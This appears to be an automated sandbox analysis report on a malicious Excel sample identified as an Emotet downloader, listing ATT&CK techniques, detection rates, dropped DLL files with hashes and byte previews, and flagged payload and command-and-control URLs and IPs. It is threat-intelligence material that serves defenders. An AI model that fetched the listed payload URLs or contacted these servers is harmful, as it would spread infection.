Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\uxevr2.ocx, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	26 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	39%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr4.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	37%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	62%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	37%	Metadefender		Browse
C:\Users\user\uxevr2.ocx	62%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr4.ocx	26%	Metadefender		Browse
C:\Users\user\uxevr4.ocx	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\FUVVPG\TGCY.dll (copy)	37%	Metadefender		Browse
C:\Windows\System32\FUVVPG\TGCY.dll (copy)	62%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	26%	Metadefender		Browse
C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	65%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
elamurray.com	4%	Virustotal	Browse
jr-software-web.net	11%	Virustotal	Browse
masyuk.com	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://173.82.82.196/t5	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.comodoc	0%	Avira URL Cloud	safe
https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	100%	Avira URL Cloud	malware
http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://173.82.82.196:8080/P5	100%	Avira URL Cloud	malware
http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	100%	Avira URL Cloud	malware
https://173.82.82.196/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://secure.comodo.co	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://crl.com	0%	URL Reputation	safe
https://173.82.82.196:8080/;j	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
elamurray.com	66.84.31.11	true	false	4%, Virustotal, Browse	unknown
jr-software-web.net	138.219.41.210	true	true	11%, Virustotal, Browse	unknown
masyuk.com	128.199.252.32	true	false	7%, Virustotal, Browse	unknown
melisetotoaksesuar.com	212.98.224.29	true	false		unknown
www.melisetotoaksesuar.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	true	Avira URL Cloud: malware	unknown
http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	true	Avira URL Cloud: malware	unknown
http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://173.82.82.196/t5	regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196:8080/	regsvr32.exe, 00000004.00000002.1330847562.0000000002B0E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.comodoc	regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196:8080/P5	regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196/	regsvr32.exe, 00000004.00000002.1330694455.000000000035D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.995102678.000000000035D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.co	regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.com	regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196:8080/;j	regsvr32.exe, 00000004.00000003.994995885.0000000000319000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1330650184.0000000000319000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
128.199.252.32	masyuk.com	United Kingdom	14061	DIGITALOCEAN-ASNUS	false
173.82.82.196	unknown	United States	35916	MULTA-ASN1US	true
138.219.41.210	jr-software-web.net	Argentina	27823	DattateccomAR	true
212.98.224.29	melisetotoaksesuar.com	Turkey	15924	BORUSANTELEKOM-ASTR	false
66.84.31.11	elamurray.com	United States	17054	AS17054US	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632157
Start date and time: 23/05/202211:37:33	2022-05-23 11:37:33 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.32567.15846.18516 (renamed file extension from 18516 to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@16/15@4/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 51.2% (good quality ratio 33.6%) Quality average: 44% Quality standard deviation: 39.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 42 Number of non-executed functions: 246
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210, 8.248.147.254, 8.238.85.126, 8.248.139.254, 8.248.143.254, 8.248.117.254
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:39:22	API Interceptor	2119x Sleep call for process: regsvr32.exe modified
11:39:56	API Interceptor	230x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
128.199.252.32	Address Changed.xls	Get hash	malicious	Browse	masyuk.com/581voyze/MlX/
	Form - May 17, 2022.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
	PHG478286648WZ.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
	Fattura numero 75325 del 17.05.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
173.82.82.196	Scan 2022.20.05_0910.xls	Get hash	malicious	Browse
	Details.lnk	Get hash	malicious	Browse
	Rechnung.xls	Get hash	malicious	Browse
	RechnungsDetails.xls	Get hash	malicious	Browse
	Rechnungskorrektur 2022.20.05_1305.lnk	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	RechnungsDetails 2022.20.05_1044.lnk	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	kUXfb4ZQK4.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	KzqzJLGI6e.dll	Get hash	malicious	Browse
	EVS7gcLnud.dll	Get hash	malicious	Browse
138.219.41.210	RechnungsDetails.xls	Get hash	malicious	Browse	jr-software-web.net/aaabackupsqldb/11hYk3bHJ/
	Rechnungskorrektur.xls	Get hash	malicious	Browse	jr-software-web.net/aaabackupsqldb/11hYk3bHJ/
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	jr-software-web.net/aaabackupsqldb/11hYk3bHJ/
	Address Changed.xls	Get hash	malicious	Browse	jr-software-web.net/aaabackupsqldb/11hYk3bHJ/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
elamurray.com	RechnungsDetails.xls	Get hash	malicious	Browse	66.84.31.11
	Rechnungskorrektur.xls	Get hash	malicious	Browse	66.84.31.11
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	66.84.31.11
	Address Changed.xls	Get hash	malicious	Browse	66.84.31.11
masyuk.com	RechnungsDetails.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnungskorrektur.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	128.199.252.32
	Address Changed.xls	Get hash	malicious	Browse	128.199.252.32
	Form - May 17, 2022.lnk	Get hash	malicious	Browse	128.199.252.32
	PHG478286648WZ.lnk	Get hash	malicious	Browse	128.199.252.32
	Fattura numero 75325 del 17.05.lnk	Get hash	malicious	Browse	128.199.252.32
jr-software-web.net	RechnungsDetails.xls	Get hash	malicious	Browse	138.219.41.210
	Rechnungskorrektur.xls	Get hash	malicious	Browse	138.219.41.210
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	138.219.41.210
	Address Changed.xls	Get hash	malicious	Browse	138.219.41.210

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MULTA-ASN1US	Scan 2022.20.05_0910.xls	Get hash	malicious	Browse	173.82.82.196
	Details.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnung.xls	Get hash	malicious	Browse	173.82.82.196
	RechnungsDetails.xls	Get hash	malicious	Browse	173.82.82.196
	Rechnungskorrektur 2022.20.05_1305.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnungskorrektur.xls	Get hash	malicious	Browse	173.82.82.196
	RechnungsDetails 2022.20.05_1044.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	173.82.82.196
	melimar.com.xls	Get hash	malicious	Browse	173.82.82.196
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	173.82.82.196
	qJhkILqiEA.dll	Get hash	malicious	Browse	173.82.82.196
	ySv9jlPYxN.dll	Get hash	malicious	Browse	173.82.82.196
	uDAHAlLDYG.dll	Get hash	malicious	Browse	173.82.82.196
	qJhkILqiEA.dll	Get hash	malicious	Browse	173.82.82.196
	kUXfb4ZQK4.dll	Get hash	malicious	Browse	173.82.82.196
	ySv9jlPYxN.dll	Get hash	malicious	Browse	173.82.82.196
	uDAHAlLDYG.dll	Get hash	malicious	Browse	173.82.82.196
	KzqzJLGI6e.dll	Get hash	malicious	Browse	173.82.82.196
	EVS7gcLnud.dll	Get hash	malicious	Browse	173.82.82.196
DIGITALOCEAN-ASNUS	Datei_26744565.xls	Get hash	malicious	Browse	165.22.73.229
	Rechnung.xls	Get hash	malicious	Browse	159.203.19.2
	DETAILS 25922194612.xls	Get hash	malicious	Browse	165.22.73.229
	Swift copy.exe	Get hash	malicious	Browse	206.189.39.129
	Invoice.docx	Get hash	malicious	Browse	198.199.122.148
	RechnungsDetails.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnungskorrektur.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	128.199.252.32
	Swift copy.exe	Get hash	malicious	Browse	206.189.39.129
	melimar.com.xls	Get hash	malicious	Browse	159.203.19.2
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	5.101.107.84
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	UTZU-2295996.xls	Get hash	malicious	Browse	212.98.224.29
	allegato-2305.xls	Get hash	malicious	Browse	212.98.224.29
	Scan 2022.20.05_0910.xls	Get hash	malicious	Browse	212.98.224.29
	Rechnung.xls	Get hash	malicious	Browse	212.98.224.29
	Invoice.docx	Get hash	malicious	Browse	212.98.224.29
	RechnungsDetails.xls	Get hash	malicious	Browse	212.98.224.29
	Rechnungskorrektur.xls	Get hash	malicious	Browse	212.98.224.29
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	212.98.224.29
	melimar.com.xls	Get hash	malicious	Browse	212.98.224.29
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	212.98.224.29
	report 340.xls	Get hash	malicious	Browse	212.98.224.29
	info_1.xls	Get hash	malicious	Browse	212.98.224.29
	Facture_09.02.2022_V2.xlsb	Get hash	malicious	Browse	212.98.224.29
	Scan 69.xls	Get hash	malicious	Browse	212.98.224.29
	Address Changed.xls	Get hash	malicious	Browse	212.98.224.29
	10082376542717622006.xls	Get hash	malicious	Browse	212.98.224.29
	6691113204648532361.xls	Get hash	malicious	Browse	212.98.224.29
	E318709655.xls	Get hash	malicious	Browse	212.98.224.29
	OGgZVa2y3B.xls	Get hash	malicious	Browse	212.98.224.29
	E282497021.xls	Get hash	malicious	Browse	212.98.224.29

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	RechnungsDetails.xls	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	RechnungsDetails.xls	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	RechnungsDetails.xls	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.094094521590848
Encrypted:	false
SSDEEP:	6:kKFCdoJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:tCFkPlE99SNxAhUesE1
MD5:	771E5EABF064D4F6402541D106B10989
SHA1:	374A21A7C3351836C5F13B6B19A4F15A81445FAF
SHA-256:	3D6C0A6EFE4EF2D48378AB732E8755C950019B2058F5E9E6B6EE49EE6B269FE7
SHA-512:	8651C40CC6ADA12AA94A6DE322D57BAC765D3A737A18D8C715F627F577A74FE2882DEEF30131EE9490A62E6FB0A1769579A45E4047C841820C0C6B7D20133CBB
Malicious:	false
Preview:	p...... ........lDp3.n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Joe Sandbox View:	Filename: RechnungsDetails.xls, Detection: malicious, Browse Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
IE Cache URL:	http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
